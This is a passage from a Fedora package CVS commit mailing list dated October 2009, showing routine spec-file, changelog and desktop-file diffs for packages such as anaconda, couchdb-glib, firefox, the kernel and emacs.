 ATTRS{idVendor}=="05ac", ATTRS{idProduct}=="1209", ENV{DKD_PRESENTATION_ICON_NAME}="multimedia-player-ipod-white"
-- 
1.6.3.3




Index: DeviceKit-disks.spec
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-disks/F-12/DeviceKit-disks.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- DeviceKit-disks.spec	5 Oct 2009 19:01:42 -0000	1.36
+++ DeviceKit-disks.spec	13 Oct 2009 22:26:25 -0000	1.37
@@ -12,7 +12,7 @@
 Summary: Disk Management Service
 Name: DeviceKit-disks
 Version: 007
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: GPLv2+
 Group: System Environment/Libraries
 URL: http://cgit.freedesktop.org/DeviceKit/DeviceKit-disks/
@@ -56,6 +56,8 @@ Requires: ntfsprogs
 %endif
 
 Patch0: 0001-Actually-inhibit-the-daemon-when-Inhibit-is-called.patch
+# https://bugs.freedesktop.org/show_bug.cgi?id=24499
+Patch1: media-player.patch
 
 # for /proc/self/mountinfo, only available in 2.6.26 or higher
 Conflicts: kernel < 2.6.26
@@ -77,6 +79,7 @@ D-Bus interface definitions for DeviceKi
 %prep
 %setup -q
 %patch0 -p1
+%patch1 -p1 -b .media-player
 
 %build
 %configure --enable-gtk-doc
@@ -143,6 +146,9 @@ rm -rf $RPM_BUILD_ROOT
 
 # Note: please don't forget the %{?dist} in the changelog. Thanks
 %changelog
+* Tue Oct 13 2009 Matthias Clasen <mclasen at redhat.com> - 007-5%{?dist}
+- Give media players better icons
+
 * Mon Oct 05 2009 David Zeuthen <davidz at redhat.com> - 007-4%{?dist}
 - Rebuild
 



From dcantrel at fedoraproject.org  Tue Oct 13 22:34:07 2009
From: dcantrel at fedoraproject.org (David Cantrell)
Date: Tue, 13 Oct 2009 22:34:07 +0000 (UTC)
Subject: rpms/anaconda/devel .cvsignore, 1.679, 1.680 anaconda.spec, 1.829, 
	1.830 sources, 1.813, 1.814
Message-ID: <20091013223408.1C02611C00E8@cvs1.fedora.phx.redhat.com>

Author: dcantrel

Update of /cvs/pkgs/rpms/anaconda/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2017

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
* Tue Oct 13 2009 David Cantrell <dcantrell at redhat.com> - 13.5-1
- Remove extra echo in 'make rpmlog'. (dcantrell)
- Do not traceback if network device doesn't have HwAddress property
  (#506013). (rvykydal)
- Fix liveinst to (1) not unmount /dev/pts, (2) unmount in order (509632).
  (clumens)
- Do not read DASD data from /tmp/install.cfg in booty (#526354). (dcantrell)
- Merge branch 'master' of ssh://git.fedoraproject.org/git/anaconda (notting)
- Support upgrading when the language isn't in lang-table (#528317).
  (clumens)
- Fix task selection when tasks contain the same group. (#528193) (notting)
- Update drivelist with bootloader --driveorder ks option instead of
  replacing it (#506073). (rvykydal)
- Use ID_SERIAL to write multipath.conf, but ID_SERIAL_SHORT for UI. (pjones)
- Don't run 70-anaconda.rules on an installed system (#527781). (clumens)
- Handle Installation Repo (base repo) as any other in repo edit UI.
  (rvykydal)
- Fix methodstr editing dialog. (rvykydal)
- Store methodstr url of repo (#502208, #526022). (rvykydal)
- Show user of which repository he edits the url (methodstr editing).
  (rvykydal)
- Don't traceback with malformed repo= nfs: parameter. (rvykydal)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/.cvsignore,v
retrieving revision 1.679
retrieving revision 1.680
diff -u -p -r1.679 -r1.680
--- .cvsignore	12 Oct 2009 22:58:55 -0000	1.679
+++ .cvsignore	13 Oct 2009 22:34:03 -0000	1.680
@@ -1 +1 @@
-anaconda-13.4.tar.bz2
+anaconda-13.5.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/anaconda.spec,v
retrieving revision 1.829
retrieving revision 1.830
diff -u -p -r1.829 -r1.830
--- anaconda.spec	12 Oct 2009 22:58:55 -0000	1.829
+++ anaconda.spec	13 Oct 2009 22:34:04 -0000	1.830
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 13.4
+Version: 13.5
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -216,6 +216,29 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Tue Oct 13 2009 David Cantrell <dcantrell at redhat.com> - 13.5-1
+- Remove extra echo in 'make rpmlog'. (dcantrell)
+- Do not traceback if network device doesn't have HwAddress property
+  (#506013). (rvykydal)
+- Fix liveinst to (1) not unmount /dev/pts, (2) unmount in order (509632).
+  (clumens)
+- Do not read DASD data from /tmp/install.cfg in booty (#526354). (dcantrell)
+- Merge branch 'master' of ssh://git.fedoraproject.org/git/anaconda (notting)
+- Support upgrading when the language isn't in lang-table (#528317).
+  (clumens)
+- Fix task selection when tasks contain the same group. (#528193) (notting)
+- Update drivelist with bootloader --driveorder ks option instead of
+  replacing it (#506073). (rvykydal)
+- Use ID_SERIAL to write multipath.conf, but ID_SERIAL_SHORT for UI. (pjones)
+- Don't run 70-anaconda.rules on an installed system (#527781). (clumens)
+- Handle Installation Repo (base repo) as any other in repo edit UI.
+  (rvykydal)
+- Fix methodstr editing dialog. (rvykydal)
+- Store methodstr url of repo (#502208, #526022). (rvykydal)
+- Show user of which repository he edits the url (methodstr editing).
+  (rvykydal)
+- Don't traceback with malformed repo= nfs: parameter. (rvykydal)
+
 * Mon Oct 12 2009 David Cantrell <dcantrell at redhat.com> - 13.4-1
 - Missing volume_key shouldn't break LUKS support completely. (#526899)
   (dlehman)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/sources,v
retrieving revision 1.813
retrieving revision 1.814
diff -u -p -r1.813 -r1.814
--- sources	12 Oct 2009 22:58:56 -0000	1.813
+++ sources	13 Oct 2009 22:34:04 -0000	1.814
@@ -1 +1 @@
-7d123c7b18a98212c385d273e6508e42  anaconda-13.4.tar.bz2
+ef98a19c560d5d2ab5d2df425b15d328  anaconda-13.5.tar.bz2



From pbrobinson at fedoraproject.org  Tue Oct 13 22:36:19 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Tue, 13 Oct 2009 22:36:19 +0000 (UTC)
Subject: rpms/couchdb-glib/devel .cvsignore, 1.2, 1.3 couchdb-glib.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091013223619.E58C011C00E8@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/couchdb-glib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3581

Modified Files:
	.cvsignore couchdb-glib.spec sources 
Log Message:
- Update to 0.5.2 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb-glib/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	8 Oct 2009 06:20:29 -0000	1.2
+++ .cvsignore	13 Oct 2009 22:36:19 -0000	1.3
@@ -1 +1 @@
-couchdb-glib-0.5.1.tar.bz2
+couchdb-glib-0.5.2.tar.bz2


Index: couchdb-glib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb-glib/devel/couchdb-glib.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- couchdb-glib.spec	8 Oct 2009 06:20:29 -0000	1.1
+++ couchdb-glib.spec	13 Oct 2009 22:36:19 -0000	1.2
@@ -1,5 +1,5 @@
 Name:           couchdb-glib
-Version:        0.5.1
+Version:        0.5.2
 Release:        1%{?dist}
 Summary:        A glib api to access CouchDB servers
 
@@ -63,6 +63,9 @@ rm -rf %{buildroot}
 %{_libdir}/*.so
 
 %changelog
+* Tue Oct 13 2009 Peter Robinson <pbrobinson at gmail.com> 0.5.2-1
+- Update to 0.5.2 release
+
 * Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.5.1-1
 - Update to 0.5.1 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb-glib/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Oct 2009 06:20:29 -0000	1.2
+++ sources	13 Oct 2009 22:36:19 -0000	1.3
@@ -1 +1 @@
-0144702c85e691e34b790e0223bf58d5  couchdb-glib-0.5.1.tar.bz2
+2364b222285a5ac239510c9bd7e0dd51  couchdb-glib-0.5.2.tar.bz2



From pbrobinson at fedoraproject.org  Tue Oct 13 22:37:28 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Tue, 13 Oct 2009 22:37:28 +0000 (UTC)
Subject: rpms/couchdb-glib/F-12 .cvsignore, 1.2, 1.3 couchdb-glib.spec, 1.1, 
	1.2 sources, 1.2, 1.3
Message-ID: <20091013223728.6ED0111C00E8@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/couchdb-glib/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3830

Modified Files:
	.cvsignore couchdb-glib.spec sources 
Log Message:
- Update to 0.5.2 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb-glib/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	8 Oct 2009 06:26:12 -0000	1.2
+++ .cvsignore	13 Oct 2009 22:37:28 -0000	1.3
@@ -1 +1 @@
-couchdb-glib-0.5.1.tar.bz2
+couchdb-glib-0.5.2.tar.bz2


Index: couchdb-glib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb-glib/F-12/couchdb-glib.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- couchdb-glib.spec	8 Oct 2009 06:26:12 -0000	1.1
+++ couchdb-glib.spec	13 Oct 2009 22:37:28 -0000	1.2
@@ -1,5 +1,5 @@
 Name:           couchdb-glib
-Version:        0.5.1
+Version:        0.5.2
 Release:        1%{?dist}
 Summary:        A glib api to access CouchDB servers
 
@@ -63,6 +63,9 @@ rm -rf %{buildroot}
 %{_libdir}/*.so
 
 %changelog
+* Tue Oct 13 2009 Peter Robinson <pbrobinson at gmail.com> 0.5.2-1
+- Update to 0.5.2 release
+
 * Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.5.1-1
 - Update to 0.5.1 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb-glib/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Oct 2009 06:26:12 -0000	1.2
+++ sources	13 Oct 2009 22:37:28 -0000	1.3
@@ -1 +1 @@
-0144702c85e691e34b790e0223bf58d5  couchdb-glib-0.5.1.tar.bz2
+2364b222285a5ac239510c9bd7e0dd51  couchdb-glib-0.5.2.tar.bz2



From pbrobinson at fedoraproject.org  Tue Oct 13 22:40:09 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Tue, 13 Oct 2009 22:40:09 +0000 (UTC)
Subject: rpms/couchdb-glib/F-11 couchdb-glib.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091013224009.844A411C0495@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/couchdb-glib/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5025

Modified Files:
	.cvsignore sources 
Added Files:
	couchdb-glib.spec 
Log Message:
- Update to 0.5.2 release


--- NEW FILE couchdb-glib.spec ---
Name:           couchdb-glib
Version:        0.5.2
Release:        1%{?dist}
Summary:        A glib api to access CouchDB servers

Group:          System Environment/Libraries
License:        LGPLv2
URL:            http://www.gnome.org/
Source0:        ftp://ftp.gnome.org/pub/gnome/sources/%{name}/0.5/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: json-glib-devel
BuildRequires: libuuid-devel
BuildRequires: libsoup-devel
BuildRequires: openssl-devel
BuildRequires: gettext

%description
CouchDB-GLib is a GLib-based API to access CouchDB servers
(http://couchdb.apache.org), a replication/synchronization 
schema-free database of JSON documents, used in online services 
like Midgard.

%package devel
Summary: Development package for %{name}
Group: Development/Libraries
Requires: %{name} = %{version}-%{release}
Requires: pkgconfig

%description devel
Files for development with %{name}.

%prep
%setup -q

%build
%configure --disable-static
make %{?_smp_mflags} V=1

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} INSTALL='install -p'

#Remove libtool archives.
find %{buildroot} -name '*.la' -exec rm -f {} ';'

%clean
rm -rf %{buildroot}

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files
%defattr(-,root,root,-)
%doc LICENSE README NEWS
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/couchdb-glib-1.0/
%{_libdir}/pkgconfig/couchdb-glib-1.0.pc
%{_libdir}/*.so

%changelog
* Tue Oct 13 2009 Peter Robinson <pbrobinson at gmail.com> 0.5.2-1
- Update to 0.5.2 release

* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.5.1-1
- Update to 0.5.1 release

* Mon Oct  5 2009 Peter Robinson <pbrobinson at gmail.com> 0.5.0-1
- Initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb-glib/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 06:01:33 -0000	1.1
+++ .cvsignore	13 Oct 2009 22:40:06 -0000	1.2
@@ -0,0 +1 @@
+couchdb-glib-0.5.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb-glib/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 06:01:33 -0000	1.1
+++ sources	13 Oct 2009 22:40:07 -0000	1.2
@@ -0,0 +1 @@
+2364b222285a5ac239510c9bd7e0dd51  couchdb-glib-0.5.2.tar.bz2



From caillon at fedoraproject.org  Tue Oct 13 22:41:15 2009
From: caillon at fedoraproject.org (Christopher Aillon)
Date: Tue, 13 Oct 2009 22:41:15 +0000 (UTC)
Subject: rpms/firefox/devel firefox.desktop,1.8,1.9
Message-ID: <20091013224116.0538F11C02A1@cvs1.fedora.phx.redhat.com>

Author: caillon

Update of /cvs/extras/rpms/firefox/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4148

Modified Files:
	firefox.desktop 
Log Message:
Better adhere to the desktop file spec
rhbz 514349



Index: firefox.desktop
===================================================================
RCS file: /cvs/extras/rpms/firefox/devel/firefox.desktop,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- firefox.desktop	8 Apr 2008 02:17:24 -0000	1.8
+++ firefox.desktop	13 Oct 2009 22:41:15 -0000	1.9
@@ -1,26 +1,6 @@
 [Desktop Entry]
 Version=1.0
-Encoding=UTF-8
-Name=Firefox Web Browser
-Name[ca]=Navegador web Firefox
-Name[cs]=Firefox Webov? prohl??e?
-Name[es]=Navegador web Firefox
-Name[fa]=?????? ???????? Firefox
-Name[fi]=Firefox-selain
-Name[fr]=Navigateur Web Firefox
-Name[hu]=Firefox webb?ng?sz?
-Name[it]=Firefox Browser Web
-Name[ja]=Firefox ????????
-Name[ko]=Firefox ? ????
-Name[nb]=Firefox Nettleser
-Name[nl]=Firefox webbrowser
-Name[nn]=Firefox Nettlesar
-Name[no]=Firefox Nettleser
-Name[pl]=Przegl?darka WWW Firefox
-Name[pt]=Firefox Navegador Web
-Name[pt_BR]=Navegador Web Firefox
-Name[sk]=Internetov? prehliada? Firefox
-Name[sv]=Webbl?saren Firefox
+Name=Firefox
 GenericName=Web Browser
 GenericName[ca]=Navegador web
 GenericName[cs]=Webov? prohl??e?



From caillon at fedoraproject.org  Tue Oct 13 22:42:37 2009
From: caillon at fedoraproject.org (Christopher Aillon)
Date: Tue, 13 Oct 2009 22:42:37 +0000 (UTC)
Subject: rpms/thunderbird/devel thunderbird.desktop,1.4,1.5
Message-ID: <20091013224237.CE3CB11C00E8@cvs1.fedora.phx.redhat.com>

Author: caillon

Update of /cvs/extras/rpms/thunderbird/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6286

Modified Files:
	thunderbird.desktop 
Log Message:
Better adhere to the desktop file spec
rhbz 514349 



Index: thunderbird.desktop
===================================================================
RCS file: /cvs/extras/rpms/thunderbird/devel/thunderbird.desktop,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- thunderbird.desktop	27 Feb 2008 01:57:41 -0000	1.4
+++ thunderbird.desktop	13 Oct 2009 22:42:37 -0000	1.5
@@ -1,7 +1,6 @@
 [Desktop Entry]
 Version=1.0
-Encoding=UTF-8
-Name=Thunderbird Email
+Name=Thunderbird
 GenericName=Email
 Comment=Send and Receive Email
 Exec=thunderbird



From steved at fedoraproject.org  Tue Oct 13 22:46:53 2009
From: steved at fedoraproject.org (Steve Dickson)
Date: Tue, 13 Oct 2009 22:46:53 +0000 (UTC)
Subject: rpms/kernel/F-12 linux-2.6-nfs4-callback-hidden.patch, NONE,
	1.1 kernel.spec, 1.1866, 1.1867
Message-ID: <20091013224654.096A811C00E8@cvs1.fedora.phx.redhat.com>

Author: steved

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9043

Modified Files:
	kernel.spec 
Added Files:
	linux-2.6-nfs4-callback-hidden.patch 
Log Message:
Fixed hang during NFS installs (bz 528537)


linux-2.6-nfs4-callback-hidden.patch:
 callback_xdr.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE linux-2.6-nfs4-callback-hidden.patch ---
Author: Steve Dickson <steved at redhat.com>
Date: Tue Oct 13 15:59:57 EDT 2009

To avoid hangs in the svc_unregister(), on version 4 mounts 
(and unmounts), when rpcbind is not running, make the nfs4 callback 
program an 'hidden' service by setting the 'vs_hidden' flag in the 
nfs4_callback_version structure. 

Signed-off-by: Steve Dickson <steved at redhat.com>

diff -up linux-2.6.31.x86_64/fs/nfs/callback_xdr.c.orig linux-2.6.31.x86_64/fs/nfs/callback_xdr.c
--- linux-2.6.31.x86_64/fs/nfs/callback_xdr.c.orig	2009-09-09 18:13:59.000000000 -0400
+++ linux-2.6.31.x86_64/fs/nfs/callback_xdr.c	2009-10-13 15:40:19.000000000 -0400
@@ -716,5 +716,6 @@ struct svc_version nfs4_callback_version
 	.vs_proc = nfs4_callback_procedures1,
 	.vs_xdrsize = NFS4_CALLBACK_XDRSIZE,
 	.vs_dispatch = NULL,
+	.vs_hidden = 1,
 };
 


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1866
retrieving revision 1.1867
diff -u -p -r1.1866 -r1.1867
--- kernel.spec	13 Oct 2009 09:38:39 -0000	1.1866
+++ kernel.spec	13 Oct 2009 22:46:52 -0000	1.1867
@@ -720,6 +720,7 @@ Patch2904: v4l-dvb-fix-cx25840-firmware-
 # NFSv4
 Patch3050: linux-2.6-nfsd4-proots.patch
 Patch3060: linux-2.6-nfs4-ver4opt.patch
+Patch3061: linux-2.6-nfs4-callback-hidden.patch
 
 # VIA Nano / VX8xx updates
 Patch11010: via-hwmon-temp-sensor.patch
@@ -1228,6 +1229,7 @@ ApplyPatch linux-2.6-execshield.patch
 # NFSv4
 ApplyPatch linux-2.6-nfsd4-proots.patch
 ApplyPatch linux-2.6-nfs4-ver4opt.patch
+ApplyPatch linux-2.6-nfs4-callback-hidden.patch
 
 # USB
 ApplyPatch linux-2.6-driver-level-usb-autosuspend.diff
@@ -2059,6 +2061,9 @@ fi
 # and build.
 
 %changelog
+* Tue Oct 13 2009 Steve Dickson <steved at redhat.com> 2.6.31.4-81
+- Fixed hang during NFS installs (bz 528537)
+
 * Tue Oct 13 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.31.4-80
 - Disable 64-bit DMA on SB600 SATA controllers.
 



From pbrobinson at fedoraproject.org  Tue Oct 13 22:50:28 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Tue, 13 Oct 2009 22:50:28 +0000 (UTC)
Subject: rpms/couchdb-glib/F-11 couchdb-glib.spec,1.1,1.2
Message-ID: <20091013225028.91CD711C029E@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/couchdb-glib/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10681

Modified Files:
	couchdb-glib.spec 
Log Message:
- Update deps for older F-11 release


Index: couchdb-glib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb-glib/F-11/couchdb-glib.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- couchdb-glib.spec	13 Oct 2009 22:40:07 -0000	1.1
+++ couchdb-glib.spec	13 Oct 2009 22:50:28 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           couchdb-glib
 Version:        0.5.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A glib api to access CouchDB servers
 
 Group:          System Environment/Libraries
@@ -10,7 +10,7 @@ Source0:        ftp://ftp.gnome.org/pub/
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: json-glib-devel
-BuildRequires: libuuid-devel
+BuildRequires: e2fsprogs-devel
 BuildRequires: libsoup-devel
 BuildRequires: openssl-devel
 BuildRequires: gettext
@@ -63,6 +63,9 @@ rm -rf %{buildroot}
 %{_libdir}/*.so
 
 %changelog
+* Tue Oct 13 2009 Peter Robinson <pbrobinson at gmail.com> 0.5.2-2
+- Update deps for older F-11 release
+
 * Tue Oct 13 2009 Peter Robinson <pbrobinson at gmail.com> 0.5.2-1
 - Update to 0.5.2 release
 



From jgu at fedoraproject.org  Tue Oct 13 23:22:47 2009
From: jgu at fedoraproject.org (Jonathan G. Underwood)
Date: Tue, 13 Oct 2009 23:22:47 +0000 (UTC)
Subject: rpms/emacs/devel emacs.spec,1.140,1.141
Message-ID: <20091013232247.5FD6211C00E8@cvs1.fedora.phx.redhat.com>

Author: jgu

Update of /cvs/extras/rpms/emacs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22216

Modified Files:
	emacs.spec 
Log Message:
* Wed Oct 14 2009 Jonathan G. Underwood <jonathan.underwood at gmail.com> - 1:23.1-11
- Update macros.xemacs to treat epoch correctly and be consistent with xemacs package
- Use site_start_d macro consistently



Index: emacs.spec
===================================================================
RCS file: /cvs/extras/rpms/emacs/devel/emacs.spec,v
retrieving revision 1.140
retrieving revision 1.141
diff -u -p -r1.140 -r1.141
--- emacs.spec	29 Sep 2009 10:09:17 -0000	1.140
+++ emacs.spec	13 Oct 2009 23:22:45 -0000	1.141
@@ -4,7 +4,7 @@ Summary: GNU Emacs text editor
 Name: emacs
 Epoch: 1
 Version: 23.1
-Release: 10%{?dist}
+Release: 11%{?dist}
 License: GPLv3+
 URL: http://www.gnu.org/software/emacs/
 Group: Applications/Editors
@@ -183,7 +183,7 @@ ${TOPDIR}/src/emacs %{bytecompargs} site
 # Create pkgconfig file
 cat > emacs.pc << EOF
 sitepkglispdir=%{site_lisp}
-sitestartdir=%{site_lisp}/site-start.d
+sitestartdir=%{site_start_d}
 
 Name: emacs
 Description: GNU Emacs text editor
@@ -193,7 +193,8 @@ EOF
 # Create macros.emacs RPM macro file
 cat > macros.emacs << EOF
 %%_emacs_version %{version}
-%%_emacs_epoch %{epoch}
+%%_emacs_ev %{?epoch:%{epoch}:}%{version}
+%%_emacs_evr %{?epoch:%{epoch}:}%{version}-%{release}
 %%_emacs_sitelispdir %{site_lisp}
 %%_emacs_sitestartdir %{site_start_d}
 %%_emacs_bytecompile /usr/bin/emacs %bytecompargs 
@@ -381,6 +382,10 @@ alternatives --install %{_bindir}/etags 
 %dir %{_datadir}/emacs/%{version}
 
 %changelog
+* Wed Oct 14 2009 Jonathan G. Underwood <jonathan.underwood at gmail.com> - 1:23.1-11
+- Update macros.xemacs to treat epoch correctly and be consistent with xemacs package
+- Use site_start_d macro consistently
+
 * Tue Sep 29 2009 Daniel Novotny <dnovotny at redhat.com> 1:23.1-10
 - emacs contains nxml-mode (#516391)
 



From lmacken at fedoraproject.org  Tue Oct 13 23:24:28 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Tue, 13 Oct 2009 23:24:28 +0000 (UTC)
Subject: rpms/python-repoze-what-pylons/EL-5 python-repoze-what-pylons.spec, 
	1.1, 1.2
Message-ID: <20091013232428.44BC111C00E8@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-repoze-what-pylons/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22561

Modified Files:
	python-repoze-what-pylons.spec 
Log Message:
Require python-decorator3


Index: python-repoze-what-pylons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-repoze-what-pylons/EL-5/python-repoze-what-pylons.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- python-repoze-what-pylons.spec	23 Jul 2009 14:08:42 -0000	1.1
+++ python-repoze-what-pylons.spec	13 Oct 2009 23:24:27 -0000	1.2
@@ -2,7 +2,7 @@
 
 Name:		python-repoze-what-pylons
 Version:	1.0
-Release:	3%{?dist}
+Release:	4%{?dist}
 Summary:	A plugin providing utilities for Pylons applications using repoze.what
 Group:		Development/Languages
 License:	BSD
@@ -14,7 +14,7 @@ BuildArch:	noarch
 BuildRequires:	python-devel, python-setuptools-devel
 Requires:	python-repoze-what >= 1.0.4
 Requires:	python-pylons >= 0.9.7
-Requires:	python-decorator >= 3.0
+Requires:	python-decorator3
 
 %description
 This plugin provides optional and handy utilities for Pylons applications 
@@ -50,6 +50,9 @@ rm -rf %{buildroot}
 %{python_sitelib}/*
 
 %changelog
+* Tue Oct 13 2009 Luke Macken <lmacken at redhat.com> - 1.0-4
+- Require python-decorator3
+
 * Wed Jul 01 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.0-3
 - fix rpmlint issues
 



From jgu at fedoraproject.org  Tue Oct 13 23:34:24 2009
From: jgu at fedoraproject.org (Jonathan G. Underwood)
Date: Tue, 13 Oct 2009 23:34:24 +0000 (UTC)
Subject: rpms/emacs/F-12 emacs.spec,1.139,1.140
Message-ID: <20091013233424.1872411C00E8@cvs1.fedora.phx.redhat.com>

Author: jgu

Update of /cvs/extras/rpms/emacs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25337

Modified Files:
	emacs.spec 
Log Message:
* Wed Oct 14 2009 Jonathan G. Underwood <jonathan.underwood at gmail.com> - 1:23.1-10
- Update macros.xemacs to treat epoch correctly and be consistent with xemacs package
- Use site_start_d macro consistently
 
* Thu Sep 24 2009 Daniel Novotny <dnovotny at redhat.com> 1:23.1-9
- use xdg-open(1) for opening URLs (#316131)



Index: emacs.spec
===================================================================
RCS file: /cvs/extras/rpms/emacs/F-12/emacs.spec,v
retrieving revision 1.139
retrieving revision 1.140
diff -u -p -r1.139 -r1.140
--- emacs.spec	24 Sep 2009 09:44:20 -0000	1.139
+++ emacs.spec	13 Oct 2009 23:34:20 -0000	1.140
@@ -4,7 +4,7 @@ Summary: GNU Emacs text editor
 Name: emacs
 Epoch: 1
 Version: 23.1
-Release: 9%{?dist}
+Release: 10%{?dist}
 License: GPLv3+
 URL: http://www.gnu.org/software/emacs/
 Group: Applications/Editors
@@ -180,7 +180,7 @@ ${TOPDIR}/src/emacs %{bytecompargs} site
 # Create pkgconfig file
 cat > emacs.pc << EOF
 sitepkglispdir=%{site_lisp}
-sitestartdir=%{site_lisp}/site-start.d
+sitestartdir=%{site_start_d}
 
 Name: emacs
 Description: GNU Emacs text editor
@@ -190,7 +190,8 @@ EOF
 # Create macros.emacs RPM macro file
 cat > macros.emacs << EOF
 %%_emacs_version %{version}
-%%_emacs_epoch %{epoch}
+%%_emacs_ev %{?epoch:%{epoch}:}%{version}
+%%_emacs_evr %{?epoch:%{epoch}:}%{version}-%{release}
 %%_emacs_sitelispdir %{site_lisp}
 %%_emacs_sitestartdir %{site_start_d}
 %%_emacs_bytecompile /usr/bin/emacs %bytecompargs 
@@ -378,6 +379,10 @@ alternatives --install %{_bindir}/etags 
 %dir %{_datadir}/emacs/%{version}
 
 %changelog
+* Wed Oct 14 2009 Jonathan G. Underwood <jonathan.underwood at gmail.com> - 1:23.1-10
+- Update macros.xemacs to treat epoch correctly and be consistent with xemacs package
+- Use site_start_d macro consistently
+ 
 * Thu Sep 24 2009 Daniel Novotny <dnovotny at redhat.com> 1:23.1-9
 - use xdg-open(1) for opening URLs (#316131)
 



From jgu at fedoraproject.org  Tue Oct 13 23:37:28 2009
From: jgu at fedoraproject.org (Jonathan G. Underwood)
Date: Tue, 13 Oct 2009 23:37:28 +0000 (UTC)
Subject: rpms/emacs/F-12 emacs.spec,1.140,1.141
Message-ID: <20091013233728.6044611C00E8@cvs1.fedora.phx.redhat.com>

Author: jgu

Update of /cvs/extras/rpms/emacs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26053

Modified Files:
	emacs.spec 
Log Message:
* Wed Oct 14 2009 Jonathan G. Underwood <jonathan.underwood at gmail.com> - 1:23.1-11
- Bump release to fix tagging problem



Index: emacs.spec
===================================================================
RCS file: /cvs/extras/rpms/emacs/F-12/emacs.spec,v
retrieving revision 1.140
retrieving revision 1.141
diff -u -p -r1.140 -r1.141
